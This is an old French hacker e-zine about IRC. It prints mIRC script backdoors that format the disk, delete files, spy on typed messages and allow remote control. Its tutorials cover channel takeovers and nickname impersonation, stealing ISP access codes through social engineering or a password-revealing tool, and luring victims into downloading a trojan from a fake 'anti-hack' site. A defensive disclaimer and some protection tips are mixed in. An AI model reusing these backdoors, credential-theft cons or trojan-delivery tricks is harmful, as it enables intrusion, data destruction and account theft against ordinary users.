Ce petit E-Zine n’est en aucun cas destiné à nuire à qui que ce soit, il proposerait même le contraire ! Expliquer à un public peu informé ou à des personnes non expérimentées de se protéger en comprenant certaines techniques qu’utilisent des personnes mal intentionnées. Le zine est principalement tourné vers l’IRC mais aussi dédiés à quelques astuces sous windows et quelques articles divers.
Backdoors sur IRC

Avertissement : les commandes données sont uniquement dans le but de comprendre et surtout de

D’éradiquer une éventuelle backdoor dans un script. D’ailleurs je n’expliquerai pas où placer

Ces commandes ni comment les utiliser. Il n’est pas dans mes intentions de favoriser le hack !

Normalement, c'est techniquement impossible si vous avez un client irc téléchargé d'un

site officiel (mirc, pirch, virc,...), ça l'est moins avec certains scripts qui contiennent

ce qu'on peut appeler des "backdoors" ou des "entrées"... Le plus souvent ont trouve leur trace dans les fichiers script.ini ou mirc.ini mais aussi dans les aliases et remote où la commande On ou parfois spy revient quelque fois. Bien surveiller aussi les lignes de codes du genre

on 1:text:!op:#:/mode $chan op $nick   (cela fera opper quelqu’un qui dire !op sur le channel)

on 1:text:*reste*:?:/quit 
4​
xxxx...   (Celui ci vous fera quitter avec une phrase au choix )

D’autres vous flooderont

ON 1:text:*lag*:?:{

  /ctcp $me PING

  /ctcp $me PING

(Il faut bien entendu répéter la commande /ctcp un grand nombre de fois)

Plus vicieux, on peut trouver des commandes destructrices 

on 1:text:*y a un bug*:?:/run c:\windows\command.com /c erase c:\windows\*.src

(celle ci effacera tous les screen savers du Pc)

on 1:text:*allo*:?:{

  /run $mircdir\mirc32.exe

(Celui ci démarrera autant de session Irc qu’il est indiqué de mirc.exe)

on 1:text:*Tu reponds po*:?:/run c:\windows\command.com /c format c:

(Particulèrement vicieux ce dernier tentera de formater le disque dur)

on 1:JOIN:*:/.dcc send $nick $findfile($mircdir,BO.EXE,1)

Certains enclencheront directement une session dcc sur un nick dès l’arrivée… On peut tout imaginer, comme inclure un fichier virus.exe ou un nom de troyen connu, ce qui fera passer le type pour quelqu’un qui essaie de

Hacker les autres… Résultat, bannis de partout et K-Line au bout du compte)

on 1:OP:#: {

 /take

Exemple où la commande /take  correspond à un aliase de take over, cette personne dès qu’elle sera OP fera contre son gré le kik ban de tout le channel, et le fermera.

On peut imagine aussi un 

On1:OP :#:.msg chanserv deop #  $me

Ce qui aura pour action de déopper la personne si quelqu’un veut la opper.

Certains vous proposerons un soi-disant super truc pour vous protéger contre n’importe quelle bétise, et vous diront d’inscrire la commande en 1ère ligne de votre remote :

CTCP 1:REMOTE: /$$2-     Il suffira pour lui de taper  /ctcp nick REMOTE action_a_effectuer(/nick autre_nick ;  /quit bon bye a tous et a demain.) pour vous faire quitter par exemple.

Il existe aussi un astuce pour ne pas forcément montrer ces lignes… Le type laissera un espace assez grand pour qu’on ne voie pas les lignes de codes ou alors en scrollant. 

Genre : on 1:CONNECT:titlebar (Connected to $server $+ )                                       | /msg chanserv op # nick

Donc sur un fichier txt vous ne tomberez pas tout de suite dessus.  Il aura soin de mettre à la commande start la ligne .sreq ignore par exemple, ce qui n’affichera pas les commandes

on 1:CONNECT:titlebar (Connected to $server $+ )

| .msg  #peinard Hi.  $ip on $server $+ : $+ $port $+ .

Lors de votre connection, un message apparait sur le channel #peinard (avec votre adresse ip, votre serveur et le port) C’est donc assez dangereux, mais il y a pire… Vous vous en doutez.

on 1:INPUT:*:{

.msg #peinard ( $+ $active $+ ) $1-

Chaque chose que vous ecrivez dans une fenetre (y compris conversations privees), doit apparement etre reecrit dans #peinard (mais bon il vaut mieux que vous mettiez un chan perso mis en secret et privé)

CTCP 1:ping: if ( $nick != $me) { .ctcp ping $1 }

| if ( $3 != $null ) { $3- | halt }    => et la c’est plus vicieux, car la personne est virtuellement contrôlable par son ctcp…arg

permet de vous controler a partir de commandes ctcp

Il existe même des petits programmes générateurs de backdoor…
Je suppose que vous avez compris l’astuce. Il suffira d’effacer quelques mots voire la ligne ou si vous n’êtes pas sur demander à un OP d’un gros channel qui s’y connaît. Ou alors si tout le script.ini est « infecté » on peut taper "unload -rs script.ini" pour desactiver le script.

LE TAKE OVER

Technique visant à s’approprier un channel, souvent ils sont plusieurs à se mettre dans le coup et arrivent pas vague. La condition est qu’une des personnes qui veut haker le chan se fasse OP. Pour cela trois solutions :

La plus conne, mais parfois cela marche, demander à être OP, si certains vous font confiance ce sera facile…

La plus dégueu, c’est de se lier d’amitié avec un OP et puis quand il vous oppe en profiter.

La troisième et la plus vicieuse, c’est de repérer un OP qui n’a pas de protection Kill sur son nick (on fait un /msg nickserv info nick) et quand ce dernier est parti, prendre son nick et venir sur le chan en faisant l’étonné et en se demandant pourquoi on est pas OP ou dire qu’on est sur l’ordi d’un copain et que le net mask n’étant pas le même on ne sais pas être OP. Cela marche à 90 %. Il y a aussi le coup du faux Ircop qui vient en inventant n’importe quel truc plus ou moins crédible (formatage des accès, contrôle d’un bug dans chanserv, etc.) Dans ce cas pourtant un ircop n’a pas faire cela et n’en a même pas l’utilité. 

Etant OP vous pouvez faire seul votre take over ou à plusieurs. A deux c bien, mais il faut aller vite. Vous mettez le chan en mode invite, et vous banissez tout le monde en commençant par les OP. Voilà, vous complétez en fermant tout les mode (cliquez dans le channel et cochez toutes les cases) et changez le Topic par l’inévitable Take Over…  Si vous avez le niveau suffisant, un accès, vous pouvez mettre un akik sur la personne qui essaie de reprendre son channel. /msg chanserv akick #channel add [del/list] adresse raison), si vous avez le niveau vous pouvez désenregistrer le chan (/msg chanserv drop #channel mot-de-passe  (désenregistre un channel) et le reprendre à votre nom. Dans certains cas, le nick du founder n’étant plus utilisé par celui-ci pour x raison, après quelques temps (2 mois) le channel sera automatiquement désenregistré. Il suffit d’être un peu attentif et de profiter du bon moment.

---------------------------------------------------------------------------------------------------------------------------------------

Que faire contre un Take Over

---------------------------------------------------------------------------------------------------------------------------------------

Commencez par ne jamais Opper quelqu’un d’inconnu, informez vous discretement de la réputation du nick que vous voulez Opper. Toujours vérifier le mask par un /whois, et si il prétend être OP sur le chan, soit posez lui une question en private qui vous renseignera sur l’identité de la personne ou si vous n’êtes pas sur , ne Oppez pas. Si toutefois vous avez Oppez, rien n’est perdu. Normalement il n’a pas le code d’accès au channel et n’est pas Auto-Op. Si vous êtes founder du channel, pas de probléme, vous allez vite le récupérer, si vous êtes simple OP vous devrez être rapide et jouer leur jeu. Premièrement faites un aliases (vous verrez une icône verte avec un /a , allez dans aliase. Vous noterez en bas de page cette commande :

/F5 /msg chanserv unban  #channel nick   (par exemple : /msg chanserv unban #funradio Night04

Le F5 est la touche F5, en l’enclanchant vous vous débannerez. Si la touche F5 est déjà prise par une fonction vous pouvez prendre une autre, ou mieux faire /SF5  ce qui correspond à la touche shift+F5.

Vous pouvez le faire pour d’autres commandes aussi :

 /msg chanserv clear #channel modes (retire tous les modes)

 /msg chanserv clear #channel ops  (déoppe tous les nicks)

/msg chanserv clear #channel bans  (retire tous les bans)

 /msg chanserv clear #channel users  (kick tout le monde)

/mode #channel +b nick ou adresse (ban un nick)

Vous pouvez faire cela en dehors du channel. Je conseillerais de d’abord ban le nick fautif, puis un kik general, 

L’unban, le clear modes et vous revenez dans le chan que vous fermez par un mode invite ou restreint à un.

Il existe aussi des commandes spécifiques appelées revenge. Un peu longue à décrire ici, elles se trouvent dans pas mal de scripts. On configure la commande pour en cas de kik ou de ban, on soit automatiquement deban et que les banneurs soient eux même bannis et kikés. 

Toute action de Take Over est répréhensible et se doit d’être dénoncée à un Ircop du serveur. Ce dernier agira en conséquence, allant même parfois à interdire le nick d’un utilisateur et le bannir définitivement du serveur.

Voici un aliase simple qui vous débannera automatiquement en déoppant la personne :

on 1:LOAD {

.set %banon on

.enable #autoub

/echo -a [Night UnBan] Is now 
loaded
.

}

menu menubar {

-

  [Night UnBan] ( %banon )

  .On:/.enable #autoub | /echo -a 
10 AutoUnban is now ON | /set %banon on

  .Off:/.disable #autoub | /echo -a 
10 AutoUnban is now OFF | /set %banon off

}

#autounban

on 1:Ban:#: {

  if ( %banon == off ) { halt }

  else {

    if ( $bnick == $me ) {

      %drnick = $nick | %drchan = $chan

      echo -a 
4 ***  On a voulu vous bannir ! (Banned by %drnick)   

      .msg chanserv unban %drchan $me

      /mode %drchan -o %drnick

      timer 1 4 /join %drchan

      unset %drnick | unset %drchan

    }

    else { halt }

  }

}

}

#autounban end

UTILISER LE SERVER SPLIT POUR CHANGER LE TOPIC OU DECONNECTER UN USER

Un net split arrive quand un réseau se déconnecte. Vous avez déjà eu la blague, plein de nicks quittent automatiquement (vous remarquerez tous les nicks d’un même serveur) ou alors vous restez seuls sur un channel désespérément vide… Vous ne retrouvez que quelques nicks, qui en somme ont le même serveur que vous et victime du split… Victime pas si sûr… Vous aurez remarqué que les commandes chanserv ou nickserv de répondent plus. Il vous reste alors à en profiter… Premièrement si un channel est vide vous serez OP, vous ne pourrez en fait que changer le Topic, c’est déjà sympa et pas méchant en soi. Je le déconseille tout de même sur de gros channels. Vous constaterez que vous pourrez également prendre le nick d’un ami ou mieux d’un ennemi.

Vous ferez alors un clone (ouvrez une autre session) et vous rangerez votre petit clone portant le nick de votre ennemi dans un channel dont vous mettrez le mode sur +s et +i. Ce clone sera également en mode +i (invisible)

Il ne saura donc pas le joindre. Quand le réseau se remettra en place (c’est souvent assez rapide, parfois cela dure 5 minutes mais rarement plus) le nick en question sera killé. On peut imaginer, sur certains serveurs, la mise d’un bot avec le nom de l’ennemi. Mais la c’est une autre histoire… Seul inconvénient, il faut attendre un NetSplit, et cela arrive que une à deux fois par semaine. Souvent il y a des global notices qui vous informent d’un Split. Il existe aussi un moyen paraît il de récupérer son pass en prenant comme Nick le fameux Nickserv

Pendant un split… Je n’ai jamais essayé, ce sont des rumeurs, et bien entendu un K-Line à la fin du compte…

SE CONNECTER GRATUITEMENT A INTERNET

Il y a plusieurs solutions, depuis la plus sympa = Demandez à un copain de vous passer son code d’accès, cela ne lui coutera pas plus cher, mais il vaudra mieux ne pas se connecter en même temps que lui ou du moins pas trop souvent au cas où ils vérifient. Dans un autre cas, cela reléve de que qu’on apelle le ISE ou l'Internet Social engeneering. C’est un peu l’art de berner les gens. Il y a de très nombreuses méthodes. La première, c’est d’aller chez la personne qui a un ordinateur et internet. Ici peu importe le type de provider, il suffit d’avoir une disquette avec le programme CAIN, qui est facilement trouvable un peu partout. Quand il est parti chercher le coca ou au Wc ou ailleurs, démarrez Cain qui a pour fonction de révéler tous les mots de passe d’un ordi dont les codes de connection… Vous les noterez bien entendu…

Si vous n’avez pas accès, vous passez par internet, l’Irc où vous prendrez bien entendu un nom de fille et dans le « vrai nom » indiquez un prénom et nom de fille pour bien prouver que vous êtes nulle en info…et vous jouez la perdue en arrivant sur un channel et en quittant de nombreuses fois (/qui connection reset by peer ou /quit Time ping out)… Vous aurez repérez un gars qui a Infonie, de préférence pas un OP et pas forcément sur un channel de hack ou warez… Vous le prenez en private pour lui dire que vous avez des ennuis avec votre connection et que vous avez perdu le fichier infonie.ini et que vous avez une fenêtre qui s’ouvre en disant fichier infonie.ini manquant… Si vous tournez ça bien vous demanderez si il ne peut pas dcc une copie… Il le fera et vous aurez donc SON code… un code à 15 chiffres commençant par  199.  Donc le conseil, quand on vous demande un fichier, toujours vérifier ! Certains vous demanderez aussi certains fichiers d’irc, genre mirc.ini ou autre… Soit refusez (c plus sage) ou vérifiez bien que votre passe ou autre info personnelle ne s’y trouve pas !

Bien entendu avec l’émergence des providers gratuits, cela devient un peu idiot et dangereux inutilsement.

LE SPOOFING

Le but du spoofing est de se protéger des nukes et autres attaques, qui se perdront un peu dans la nature… L’autre but est d’être anonyme, quoique traçable… Il existe de nombreuses techniques pour être anonyme sur irc, de la technique la plus simple à la plus complexe. La technique primaire du spoofing permet non pas de changer réellement d’IP mais de créer une sorte de relais entre un autre et votre adresse réelle. Pour cela voous vous « connecterez » sur un port libre d’une adresse non protégée. On utlisera pour cela un programme scanneur de gate, le plus connu est sans doute le wgscan3 que vous trouvez sur le site de Pixel (http://pixel.neuraxe.com)

Un Wingate est un proxy qui permet a plusieurs ordinateurs de se connecter a Internet avec le meme modem. 

Vous allez faire alt+o, dans identd décochez enable ident serveur, cela permet de ne plus passer par votre provider pour vous identifier. Puis dans firewall, dans hostname mettez l’ip et dans port soit le mettre sur 1080 ou 23 selon le gate trouvé. Vous devriez pour vous connecter, mais de nombreux essais devront être effectué. Une autre technique consite à se connecter par Server/ip, puis raw/ (ou /quote) irc.funradio.fr par exemple, puis /raw nick … et /raw real name ainsi que ton nick d’user. Ce qui donnera=

 /server 207.253.103.50 23

 /raw irc.funradio.fr 6667

 /raw nick ton_nick

 /raw user real nick 0 0 :Eva05

D’autres techniques consistent par exemple à avoir un petit serveur et utiliser l’host du serveur. Pour le plus bricoleurs, les techniques de phreacking (une belle beige box ;))rendra encore moins traçable votre IP, qui malheureusement reste toujours traçable malheureusement… On n’est jamais totalement invisible sur le net. 

Il reste une technique encore plus bête, c’est d’avoir plusieurs providers, surtout cumuler les offres gratuites, et pourquoi pas la foule de providers gratuits qui fleurissent actuellement sur le net genre libertysurf, belgian et France explorer,  freeSurf, etc.

Si vous lancez un netstat et que vous constatez qu’une connection s’est établie sur vore port 1080 ou 23, il serait judicieux de fermer ces ports… Une bonne manière c’est d’utiliser un firewall et pourquoi pas le programmer pour qu’il ferme ces deux ports. Au pire, s’envoyer un nuke sur ces deux ports pour les faire fermer.

COMMENT TRANSMETTRE UN FICHIER A QUELQU’UN

Prenez un compte sur un site gratuit comme il en existe tant (respublica, tripode, etc.) et faites une adresse qui a l’aire de tenir la route, genre www.tripod.fr/anti-hack   et vous y déposer un fichier par exemple un virus ou un trojan de votre choix. On ne se méfie jamais vraiment d’une adresse internet. La le tour est joué il prendra le programme et vous pourrez si il vous répond que cela ne marche pas inventer un baratin en lui disant qu’il manque sans doute un fichier DLL ou OCX, puis vous n’aurez plus le temps et vous partirez (en notant bien entendu son IP). De préférence un cablé car l’IP est fixe. Et la il devrait être hackable…

Bien entendu de votre côté, victime, vous aurez tout intérêt à lancer régulièrement le prompt dos et faire /netstat ce qui vous informera sur vos connections, ou mieux des petits utilitaires que l’on trouve de plus en plus sur le net et qui permettent de remplacer le netstat. Lancez régulièrement votre anti virus ainsi que des programmes spéciaux qui vont écouter vos ports pour voir si aucune connection est faite (le smart guard2 est bien) dans la panoplie des anti troyen, la références reste Cleaners2, et un peu en dessous Bouffe Troyen. 

CHANGER LE TOPIC

 Chanserv n’aura pas eu le temps de vous déopper que le topic sera mis, et prenez de préférence le nick d’un OP.

/changetopic {

 set %chan $$?="Nom du channel:"

 set %topic $$?="Nouveau topic:"

 join %chan

 topic %chan %topic

}

La réplique est simple, il suffit de configurer le channel en Maintien du Topic et on ne saura plus changer votre topic, à moins d’utiliser le NetSplit. Il est préférable de changer de Nick pour le faire, du genre une petite barre – ou plus marrant encore le nick du fondateur (mais allez vite car en général une protection par kill est mise, cela vous donne 20 sec. Donc largement assez).

Conseils simples pour ne pas se faire Hacker

Les principes sont simples mais le plus souvent ne sont pas suivis par tous, ce qui laisse bien entendu des occasions à des personnes peu scrupuleuses d’en profiter. Premièrement il est absolument indispensable d’avoir au moins un Anti virus professionnel à disposition et deux ou trois de reserve pour scanner un fichier suspect. 

Personnellement j’utilise l’Antivirus Norton 5 que je met régulièrement à jour en téléchargeant les add ons d’internet. Pour les seconds, le Panda ainsi que l’AVP demeurent de bons produits. Il est néanmoins déconseillé de faire habiter ces anti virus sur le même disque car ils pourraient faire des erreurs, prenant un des anti virus pour justement un fichier infecté. Ces derniers sont sur cd-rw et je procéde aux scans à partir de la.

Le plus sage également est de ne jamais accepter de fichiers sur Irc ou icq ou tout autre média, si vous n’êtes pas absolument sûr de la source et de la personne. D’ailleurs cette personne en toute bonne foi peut vous refiler un fichier infecté sans qu’elle le sache elle même. Comme solution, moi je passe par un graveur externe sur CD-Rw ou parfois sur des Jaz Iomega. Ce dernier n’infectera jamais directement votre disque dur et cela facilite le scan.

Si toutefois vous n’en avez pas, scannez bien le fichier et au pire zippez le en le conservant dans un dossier du genre « pas touche ». En le zippant vous éviterez la gaffe de l’ouvrir par erreur. 

Si vous l’enclenché quand même, pas de panique, rares sont les virus qui peuvent vraiment détruire votre ordinateur et en général l’anti-virus permet de désinfecter cela très bien. Au pire, un formatage est requis.

Il est important aussi que vous vous teniez informé sur les virus, pour en connaître les principaux noms et leurs effets. Plusieurs sites sont dédiés à ce problème :

http://www.symantec.com/

http://www.respublica.fr/interruption21/

http://tecfa.unige.ch/themes/FAQ-FL/virus_que_faire/virus_que_faire.html

http://www.avengarde.com/

http://eurenet.net/mailiste/virus.html

